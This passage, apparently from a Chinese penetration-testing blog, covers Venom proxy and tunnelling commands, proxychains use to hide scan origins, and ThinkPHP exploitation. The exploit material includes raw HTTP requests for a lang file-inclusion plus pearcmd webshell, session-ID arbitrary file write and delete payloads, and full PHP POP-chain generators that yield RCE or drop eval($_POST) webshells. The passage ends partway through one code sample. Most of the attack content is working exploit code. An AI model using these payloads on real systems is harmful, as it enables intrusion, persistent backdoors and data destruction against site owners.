#在Venom命令行进入节点192.168.22.133输入以下指令即可将本地的80端口,映射到192.168.22.133的8070端口,后续内网主机只要访问192.168.22.133:8070即可访问到访问到个人服务器12.34.56.789的80端口

lforward 127.0.0.1 80 8090

5.交互shell支持

1
2
3
进入某一节点输入
shell
即可得到一个交互式shell

6.文件上传下载支持

1
2
3
4
#进入某一节点输入类似指令
goto 1
upload [file_path] [upload_path] #上传文件
download [file_path] [download_path] #下载文件

参考博客:https://www.cnblogs.com/xuanlvsec/p/14206776.html

代理设置工具:Proxifier/proxychains简单介绍

Proxifier

windows平台一般使用Proxifier来对特定软件进行代理

打开软件后选择Profile的proxy servers进行代理服务器的添加

image-20240114162712523

选择Proxification Rules进行相关规则的配置

image-20240114162749125

规则里面

image-20240114162852342

  • Default为默认的代理规则,这里是direct直连,表示默认所有软件不使用代理

  • 然后针对特定软件的特定代理规则需要自己配置,向这里的nmap使用的是12.34.56.789这个代理

proxychains

linux平台一般使用proxychains来对特定软件进行代理。kail自带有proxychains,以kail里的proxychains为例介绍

打开Proxychains配置文件/etc/proxychains4.conf,编辑文件中的代理服务器列表:

1
sudo vim /etc/proxychains4.conf

在文件的最后,添加代理服务器的IP地址和端口号,例如:

1
2
[ProxyList]
socks5 127.0.0.1 1080

在终端中使用Proxychains启动需要代理的应用程序,例如Nmap扫描:

1
proxychains nmap -sS 192.168.1.0/24	

此时Nmap将使用Proxychains配置文件中的代理服务器进行扫描,实现IP地址的隐藏和匿名。

相关博客链接

https://su18.org/post/frp/

漏洞介绍:

ThinkPHP 在开启多语言的情况下,存在文件包含漏洞,配合 pearcmd 可以 getshell

漏洞影响:

存在漏洞的版本

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

不存在漏洞的版本

ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42

漏洞分析1:thinkphp5版本

测试环境搭建:

1
2
thinkphp v5.1.41
php v7.3.4

首先在文件tp5.1/config/app.php中开启多语言

image-20240129205913722

然后在tp5.1/public目录新建文件phpinfo.php内容为<?=phpinfo();

漏洞分析:

漏洞验证时当我们访问如下url时会文件包含phpinfo.php

url:http://localhost/tp5.1/public/index.php/?lang=../../public/phpinfo

image-20240129210258464

我们来分析漏洞成因

首先我们看到tp5.1\thinkphp\library\think\App.php中的loadLangPack方法

文件包含点出现在Lang::load方法中,想要包含任意php文件,我们需要控制变量langset的值

image-20240129211951600

先分析Lang::detect中

我们可以通过get请求带有参数lang的方式给$this->range赋任意值

image-20240129212459276

接着回到loadLangPack方法,因为$this->request->setLangset($this->lang->range());所以通过Lang类的变量range我们可以给Lang类的变量Langset赋予任意值。

再来看Lang::load

image-20240129213137201

包含的文件一般是这个样子的,而且我们只能包含php文件。

image-20240129213225196

所以这个漏洞需要和pearcmd拓展相结合才能rce

pearcmd利用方式介绍:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

所以最终的利用数据包应该是这样的形式(将会在public目录生成后门文件pass.php)

1
2
3
4
5
6
7
8
9
GET /tp5.1/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+pass.php HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0

漏洞分析2:thinkphp6版本

测试环境搭建:

1
2
thinkphp v6.0.13
php v7.3.4

首先在文件tp6.0/app/middleware.php中开启多语言

image-20240129214050772

然后在tp6.0/public目录新建文件phpinfo.php内容为<?=phpinfo();

漏洞分析:

漏洞验证时当我们访问如下url时会文件包含phpinfo.php

url:http://localhost/tp6.0/public/index.php/?lang=../../public/phpinfo

首先看到tp6.0\vendor\topthink\framework\src\think\middleware\LoadLangPack.php中的handle方法

detect方法和和thinkphp5的没有太大差别同样是可以通过get传递lang的方式设置$langset的值,load

方法在switchLangSet()我们需要进入其中

image-20240129220407703

进入Lang::switchLangSet

image-20240129220805164

继续进入其中的load方法

image-20240129220853353

继续进入其中的parse方法

image-20240129220939851

包含的文件一般是这个样子的,还是只能包含php文件。

image-20240129221419977

和pearcmd结合利用的数据包如下:(将会在public目录生成后门文件pass.php

1
2
3
4
5
6
7
8
GET /tp6.0/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+pass.php HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0

漏洞介绍:

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞.

  • 在目标环境为Windows且开启session的情况下,容易遭受任意文件删除攻击。

  • 在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击。

漏洞环境:

版本:

1
2
ThinkPHP V6.0.0-v6.0.1
php v7.3.4

回退thinkphp版本的方法

1
2
3
4
5
6
7
8
9
修改composer.json文件的下面内容,指定"topthink/framework": "6.0.1",
"require": {
"php": ">=7.1.0",
"topthink/framework": "6.0.1",
"topthink/think-orm": "2.0.30"
},

然后打开命令行输入下面指令进行回退
composer update

环境搭建

  1. 进入\tp6.0\app\middleware.php开启session

    image-20240120235630354

  2. 在Index.php文件中添加可以控制session内容的方法

    image-20240120235657131

漏洞分析:

1.sessionId的控制

thinkphp开启session初始化后,每次处理网页请求会调用SessionInit::handle对session进行初始化。

开启session后在默认的配置下是会将cookie中PHPSESSID的值作为$sessionid的值

image-20240121001503183

再进入第60行的SessionInit::setId方法。可以发现只要我们的$sessionid长度为32个字节,即可控制$this->id$sessionid

image-20240121001832529

2.session值的控制

再来分析通过助手函数session()保存传入的session值的逻辑

image-20240121002514844

进入session(),顺着处理逻辑继续进入Session::set,发现Arr::set

image-20240121002805111

然后再继续进入Arr::set,可以发现在这里Arr::set的作用就是给$this->data数组添加键值对对'session_name'=>$_POST['value']

image-20240121002745094

现在我们已经知道session的内容保存在$this->data

3.session文件操作

session文件的生成的处理函数在SessionInit::end中

image-20240121003407620

进入save方法,这里write对应于session文件的生成,delete对应于session文件的生成

image-20240121003559923

任意文件上传漏洞

先来分析write方法,该方法位于tp6.0\vendor\topthink\framework\src\think\session\driver\File.php的File类中

image-20240121004120765

所以通过控制PHPSEEIONID和写入session的内容我们可以实现上传可控文件名和内容的文件到\tp6.0\runtime\session\目录下

payload数据包类似以下形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /tp6.0/public/index.php/index/test HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://localhost
Connection: close
Referer: http://localhost/tp6.0/public/index.php/index/test
Cookie: PHPSESSID=1234567890123456789012345678.php
Upgrade-Insecure-Requests: 1

value=<?php phpinfo();?>

在runtime/session/目录生成可控文件名文件内容的php文件

image-20240121005558191

任意文件删除漏洞

再来分析delete方法,该方法也位于File类中

image-20240121004750650

在windows平台下可以绕过sess_实现文件删除,linux下就不可以了

payload数据包类似以下形式,注意PHPSESSIONID为32个字节

1
2
3
4
5
6
7
8
9
10
//这个数据宝将会删除/runtime/session/目录下的a.php文件(如果该目录下有这个文件的话)
GET /tp6.0/public/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=12345678901234567890123/../a.php
Upgrade-Insecure-Requests: 1

漏洞总结:

  • 在目标环境为Windows且开启session的情况下,容易遭受任意文件删除攻击。

  • 在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击。

漏洞环境:

版本:

1
2
ThinkPHP V6.0.3
php v7.3.4

测试代码:

tp6.0\app\controller\Index.php中修改类Index的hello方法

1
2
3
4
5
public function hello($name = 'ThinkPHP6')
{
unserialize(base64_decode($name));
return $name;
}

通过http://localhost/tp6.0/public/index.php/index/hello/name/{base64字符串}访问

注意:需要配置tp6.0\config\app.php才能访问到hello方法

image-20240119103330215

漏洞分析:

反序列化利用链的起点在\tp6.0\vendor\topthink\think-orm\src\Model.php的__destruct()方法中

image-20240119103640435

因为$this->lazySave可控,我们进入Model::save。漏洞利用需要进入Model::updateData中

image-20240119103839169

Model::setAttrs因为$data是空数组所以无效

image-20240119104029538

Model::isEmpty因为$this->data可以控制,所以可控

image-20240119104056194

Model::trigger也是同理可以控制

image-20240119104201674

总结一下,我们要使得$this->data为空,$this->withEvent=false即可使得if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))变成if (false || false === true),再使得$this->exists为true从而顺利进入Model::updateData。

在Model::updateData中的我们的目标是要进入Model::checkAllowFields

image-20240119104645988

第一个if判断if (false === $this->trigger('BeforeUpdate')) 和上面一样是我们可以控制绕过的

Model::checkData是一个未定义的方法,无需关注

image-20240119105113540

进入Model::getChangedData方法,发现可以通过控制$this->force使得返回结果可控,使得返回结果为空绕过

if (empty($data))的判断

image-20240119105232676

接下来进入判断语句if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])),显然这条判断我们可以控制

最终顺利调用Model::checkAllowFields,跳转到checkAllowFields我们的目标是进入Model::db

image-20240119105633073

无需我们多加什么就可以顺利进入Model::db,在db中我们可以通过点号触发__toString。

image-20240119105913867

我们选择\tp6.0\vendor\topthink\think-orm\src\model\concern\Conversion.php的Conversion::__toString作为上面Model::db触发的目标(因为Model复用了Conversion::__toString,Pivot类继承自抽象类Model,所以使得$this->name=new Pivot()即可触发Conversion::__toString)

我们查看Conversion::__toString

image-20240119110809881

进入Conversion::__toJson

image-20240119110849415

类似thinkphp5发反序列化链,我们继续进入Conversion::toArray,在toArray中我们的目标是进入第三个foreach的Conversion::getAttr

image-20240119110957347

这里也是无需过多设置,直接可以顺利进入Conversion::getAttr,在getAttr中要经历两个方法Conversion::getData和Conversion::getValue

image-20240119111307090

Conversion::getData的功能是返回$this->data[$name]的值,这里就不过多分析了。

重点分析Conversion::getValue,对于这个方法我们这里实际上调用的是$this->getValue($name,$this->data[$name], false);

进入Conversion::getValue,观察这个方法我们发现第498行的$value = $closure($value, $this->data);只要控制$closure为eval,$value为我们想要执行的指令,使$this->data为空即可成功rce。

这里的两个参数$value$this->data我们都是可以控制的,同时因为$name我们可以控制,所以通过485行的Attribute::getRealFieldName我们可以控制$fieldName$name从而使得$closure可控。

image-20240119113919012

这样最终的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace think\model\concern
{
trait Attribute
{
private $data = ["key"=>"calc"];
private $withAttr = ["key"=>"system"];
}
}
namespace think
{
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
}
namespace think\model
{
use think\Model;
class Pivot extends Model
{

}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));
}

生成后访问类似url触发rce弹出计算器:

1
http://localhost/tp6.0/public/index.php/index/hello/name/TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6NDoiY2FsYyI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6NDoiY2FsYyI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319

image-20240119115956895

漏洞总结:

该反序列化漏洞的利用链汇总

1
2
3
4
5
6
7
8
9
10
11
起点:任意反序列化点
-->Model::__destruct
-->Model::save
-->Model::updateData
-->Model::checkAllowFields
-->Model::db(将类当作字符串拼接从而触发__toString)
-->Conversion::toJson
-->Conversion::toArray
-->Conversion::toArray
-->Conversion::getAttr
-->Attribute::getValue

注意:Pivot继承自抽象类Model,Model复用了Conversion和Attribute的方法

漏洞环境:

版本:

1
2
ThinkPHP V5.0.24
php v7.1.9

测试代码:

application目录下新建一个一个模块test在controller文件夹内创建Test.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#命名空间app默认位于application
namespace app\test\controller;

class Test
{
//访问http://localhost/tp5.0/public/index.php/test/test/hello
//或者传递参数访问http://localhost/tp5.0/public/index.php/test/test/hello/pass/参数
public function hello($pass = 'pass')
{
unserialize(base64_decode($pass));
return 'hello';
}

}

漏洞分析:

类似thinkphp-5.1.*的反序列化漏洞,thinkphp-5.0.*-反序列化漏洞的入口点是

tp5.0\thinkphp\library\think\process\pipes\Windows.php的__destruct()方法

image-20240118145113219

同样进入removeFiles(),可用看到这里同样是有反序列化+任意文件删除的漏洞组合的(相关poc见我写的thinkphp-5.1.*-反序列化漏洞分析)。

image-20240118145208238

我们通过file_exists是可以触发__toString的,这里我们通过全局搜索可以发现\tp5.0\thinkphp\library\think\Model.php 的抽象类Model存在__toString方法。因为Model是抽象类,我们无法直接实例化,于是搜索继承Model的类,我们发现Pivot类继承了Model。以Pivot类为跳板通过file_exists(new Pivot)的形式我们就可以调用__toString方法了。

我们来看__toString方法

image-20240118150100331

进入toJson()

image-20240118150115854

接着进入toArray()。我们在其912行看到$value->getAttr($attr),在这里我们需要$value成为类Output,这样就可以触发Output的__call()方法。

image-20240118150324277

我们查看getRelationData(),发现需要满足三个条件即可使得$value可控,一眼看过去第一个条件$this->parent我们可以控制。

image-20240118171609516

查看isSelfRelation(),显然$this->selfRelation我们可以控制,所以第二个条件!$modelRelation->isSelfRelation()我们可以控制

image-20240118171834387

第三个条件get_class($modelRelation->getModel()) == get_class($this->parent))需要我们使得get_class($modelRelation->getModel())的结果是Output对象。我们进入getModel()查看,可以发现这里调用了$this->querygetModel()方法,$this->query我们是可控的。

image-20240118172843427

继续深入getModel()方法,我们发现Query类存在getModel()方法,$this->model我们也可以控制的,所以我们需要使得$this->query为Query对象,Query对象的$this->model为output对象。这样就可以通过第三个条件的验证了。

image-20240118173451138

因为Relation是抽象类那么要使得$this->query为Query对象,我们就要寻找一个继承Relation的类。考虑到toArray()方法第904行的验证我们还需要这个类含有getBindAttr()方法

image-20240118150324277

通过全局搜索我们可以找到这么一个类HasOne。HasOne继承自OneToOne而OneToOne则继承自Relation。所以HasOne满足我们的要求。

现在我们只需要使得$modelRelation为HasOne对象。从第901行我们可以知道通过调用this->$relation方法获得的$modelRelation。而$relation是通过$name得到的,$name可控。所以我们只需在Model抽象类中找到一个方法可以返回一个HasOne对象即可。$this->error可控,getError方法满足我们的要求。

image-20240118183100185

所以到目前为止我们构造的反序列化链条如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
namespace think\process\pipes {

use think\model\Pivot;

class Windows {
private $files = [];

public function __construct()
{
$this->files = [new Pivot()]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {

use think\console\Output;
use think\model\relation\HasOne;
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct()
{
$this->parent = new Output(); //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = new HasOne(); // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {

use think\db\Query;

abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct()
{
$this->selfRelation = 0;
$this->query = new Query();
$this->bindAttr = ['xxx'];
}
}
}

namespace think\db {
use think\console\Output;
class Query {
protected $model;

function __construct()
{
$this->model = new Output();
}
}
}
namespace think\console{

use think\session\driver\Memcached;

class Output{
//待构造
}
}
namespace {
use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

接下来我们分析Output类的__call方法,我们可以看到其调用了Output类的block方法

image-20240118183443746

查看block方法,发现其继续调用writeln方法

image-20240118183541410

继续查看writeln方法,发现其调用了write方法

image-20240118183620984

继续追踪write方法,发现其调用了$this->handle的write的方法,而$this->handle我们是可以控制的

image-20240118183654591

我们全局搜索有write方法的类发现文件\tp5.0\thinkphp\library\think\session\driver\Memcached.php的Memcached类存在write方法,该方法会调用$this->handler的set方法,其中$this->handler我们是可以控制的。

image-20240118183822663

同理我们继续全局搜索含有set方法的类,在File类中我们可以发现set方法,并且可以通过set方法写入文件

image-20240118184212344

但是通过Memcached类传入的$name我们只能部分控制,而$data却完全不受我们控制。这样写入文件是没有意义的。

为解决这一问题我们关注到第161行的setTagItem函数,我们进入该函数,发现再次调用了set方法写入文件内容,而这一次文件的两个参数我们都可以在一定程度上控制了。

image-20240118184855983

但是这样还不够虽然我们可以控制$value使其含有php代码,但是

1
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

会使得生成的文件没有执行到我们写的后门代码片段就被exit()终止。事实上我们可以通过php伪协议将前面的代码给转换掉。我们先看到看set()获得文件名的方法getCacheKey()。这个方法通过拼接$this->options['path']生成文件名,而$this->options['path']是我们可以控制的。

image-20240118185945288

所以在$result = file_put_contents($filename, $data);时我们可以使得file_put_contents调用php://filter处理数据,从而达到绕过exit()的目的。

最终的poc如下(该poc是windows和linux下都通用的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
namespace think\process\pipes {

use think\model\Pivot;

class Windows {
private $files = [];

public function __construct()
{
$this->files = [new Pivot()]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {

use think\console\Output;
use think\model\relation\HasOne;

abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct()
{
$this->parent = new Output(); //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = new HasOne(); // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {

use think\db\Query;

abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct()
{
$this->selfRelation = 0;
$this->query = new Query(); //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {

use think\console\Output;

class Query {
protected $model;

function __construct()
{
$this->model = new Output(); //$this->model=> think\console\Output;
}
}
}
namespace think\console{

use think\session\driver\Memcached;

class Output{
private $handle;
protected $styles;
function __construct()
{
$this->styles = ['getAttr'];
$this->handle =new Memcached(); //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {

use think\cache\driver\File;

class Memcached
{
protected $handler;

function __construct()
{
$this->handler = new File(); //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}
namespace {
use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

将会在public目录生成a.php12ac95f1498ce51d2d96a249c09c1998.php其中内容为

image-20240118194424571

另一种思路:

还有另外一种思路绕过File::set()的exit()死亡杂糅

在处理文件\tp5.0\thinkphp\library\think\session\driver\Memcached.php的Memcached类的write方法时我们不直接使得$this->handler指向File类,我们使其指向文件\tp5.0\thinkphp\library\think\cache\driver\Memcache.php的Memcached类的set方法。

在这个set方法中我们可以同样可以看到$this->handler->set这时我们将$this->handler指向$File

换句话说:我们通过Memcached类的set方法作为中转,绕一下调用File类的set方法。

image-20240118191151325

同样的当我们第一次调用Memcached::set时无法控制$value的值,但是任然存在setTagItem()方法被调用。

通过setTagItem我们可以使得第二次调用Memcached::set,$value受我们控制。

所以另外一种windows和linux平台都通用的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
<?php
namespace think\process\pipes {

use think\model\Pivot;

class Windows {
private $files = [];

public function __construct()
{
$this->files = [new Pivot()]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {

use think\console\Output;
use think\model\relation\HasOne;

abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct()
{
$this->parent = new Output(); //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = new HasOne(); // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {

use think\db\Query;

abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct()
{
$this->selfRelation = 0;
$this->query = new Query(); //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {

use think\console\Output;

class Query {
protected $model;

function __construct()
{
$this->model = new Output(); //$this->model=> think\console\Output;
}
}
}
namespace think\console{

use think\session\driver\Memcached;

class Output{
private $handle;
protected $styles;
function __construct()
{
$this->styles = ['getAttr'];
$this->handle =new Memcached(); //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {


class Memcached
{
protected $handler;

function __construct()
{
$this->handler = new \think\cache\driver\Memcached();
}
}
}
namespace think\cache\driver {

class Memcached
{
protected $handler;
protected $tag;
protected $options=null;

function __construct()
{
$this->handler = new File();
$this->tag =true;
$this->options['prefix']="PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g";//这里写shell的base64形式
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.base64-decode/resource=',
'data_compress' => false,
];
}

}
}

namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}

将会在public目录生成a5c52af8656ce679eb29e3449834f23c.php其中内容为

image-20240118194314277

漏洞总结:

对应两个poc的反序列化链

反序列化链1

1
2
3
4
5
6
7
8
9
10
11
12
13
起点:任意反序列化点
-->Windows::__destruct
-->Windows::removeFiles
-->file_exists(将类当作字符串触发__toString)
-->Pivot::__toString(方法继承于Model类,和下面的toJson和toArray一样)
-->Pivot::toJson-->Pivot::toArray
通过一系列手段使得$value成为Output类然后调用Output::getAttr(Output类没有getAttr方法触发__call)
-->Output::__call
-->Output::block-->Output::writeln-->Output::write
-->Memcached::write
-->File::set
-->File::setTagItem
-->File::set(绕过死亡杂糅写入文件)

反序列化链2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
起点:任意反序列化点
-->Windows::__destruct
-->Windows::removeFiles
-->file_exists(将类当作字符串触发__toString)
-->Pivot::__toString(方法继承于Model类,和下面的toJson和toArray一样)
-->Pivot::toJson-->Pivot::toArray
通过一系列手段使得$value成为Output类然后调用Output::getAttr(Output类没有getAttr方法触发__call)
-->Output::__call
-->Output::block-->Output::writeln-->Output::write
-->Memcached::write
-->Memcached::set(cache目录下的set)
-->File::set
-->Memcached::set(cache目录下的set)
-->File::set(绕过死亡杂糅写入文件)

漏洞环境:

版本:

1
2
ThinkPHP V5.1.41
php v7.1.9

测试代码:

application目录下新建一个一个模块test在controller文件夹内创建Test.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#命名空间app默认位于application
namespace app\test\controller;

class Test
{
//访问http://localhost/tp5/public/index.php/test/test/hello
//或者传递参数访问http://localhost/tp5/public/index.php/test/test/hello/pass/参数
public function hello($pass = 'pass')
{
unserialize(base64_decode($pass));
return 'hello';
}

}

漏洞分析:

反序列化利用链的起点在thinkphp/library/think/process/pipes/Windows.php中

__destruct() //该方法在对象被销毁时触发

image-20240115224750937

我们进入removeFiles函数中,可以发现这里有一个文件删除的功能点。通过file_exists判断文件是否存在然后删除。

image-20240116125512688

这里存在两个漏洞一个是反序列化+任意文件删除的漏洞,文件删除漏洞的payload很简单这里直接给出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace think\process\pipes{
class Windows
{
private $files;
public function __construct()
{
$this->files=["D:\\test.txt"];
}
}
}
namespace{
use think\process\pipes\Windows;
echo (base64_encode(serialize(new Windows())));
}
?>

还有一个就是反序列化+rce的漏洞了。我们知道file_exists会将触发__toString方法,所以这条反序列化链的下一步是寻找触发可以触发__toString的类。

__toString() //把类当作字符串使用时触发

通过全局搜索可以发现在thinkphp\library\think\model\concern\Conversion.php中存在__toString方法

image-20240116130749395

但因为Conversion为trial所以我们无法直接实例化,我们需要寻找一个类使得Windows可以和Conversion建立联系

1
2
Trait介绍:
Trait 和 Class 相似,无法通过 trait 自身来实例化。从基类继承的成员会被 trait 插入的成员所覆盖。优先顺序是来自当前类的成员覆盖了 trait 的方法,而 trait 则覆盖了被继承的方法。

发现Model类符合我们的要求,但因为Model为抽象类不能直接实例化,我们还要寻找一个继承Model类的类作为跳板

image-20240116131403032

发现Pivot类符合要求

image-20240116131914348

先来理一理到这一步为止我们构造的反序列化链Windows->Pivot(继承于Model带有Conversion的__toString方法)。如果类Pivot被当作字符串处理就会触发trial的__toString方法。所以截至现在序列化字符串的构造应该是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace think{
abstract class Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
echo (base64_encode(serialize(new Windows())));
}
?>

接着来到__toString方法的执行

image-20240116132641965

进入到toJson中,发现toArray自定义的函数,继续进入

image-20240116132704853

在toArray函数中我们看到下面这段。getAtter是一个获取器可以获取数据对象的值,也就是说我们可以通过getAtter获取$key所指向的对象。

image-20240116134405733

我们跟进getAtter,可以发现对象是通过$this->data获取的

image-20240116134751862

image-20240116134732016

回到toArray函数中,我们发现再获取了$relation之后,会调用$relation的visible()方法

image-20240116134953650

我们知道__call() 在对象上下文中调用不可访问的方法时会触发,所以我们下一步需要寻找一个没有visible()方法却有__call()的类。

thinkphp\library\think\Request.php的Request类符合我们的要求。

image-20240116135319980

所以我们把上文的Model类构造进行完善

1
2
3
4
5
6
7
8
9
10
11
12
13

abstract class Model{

}

abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
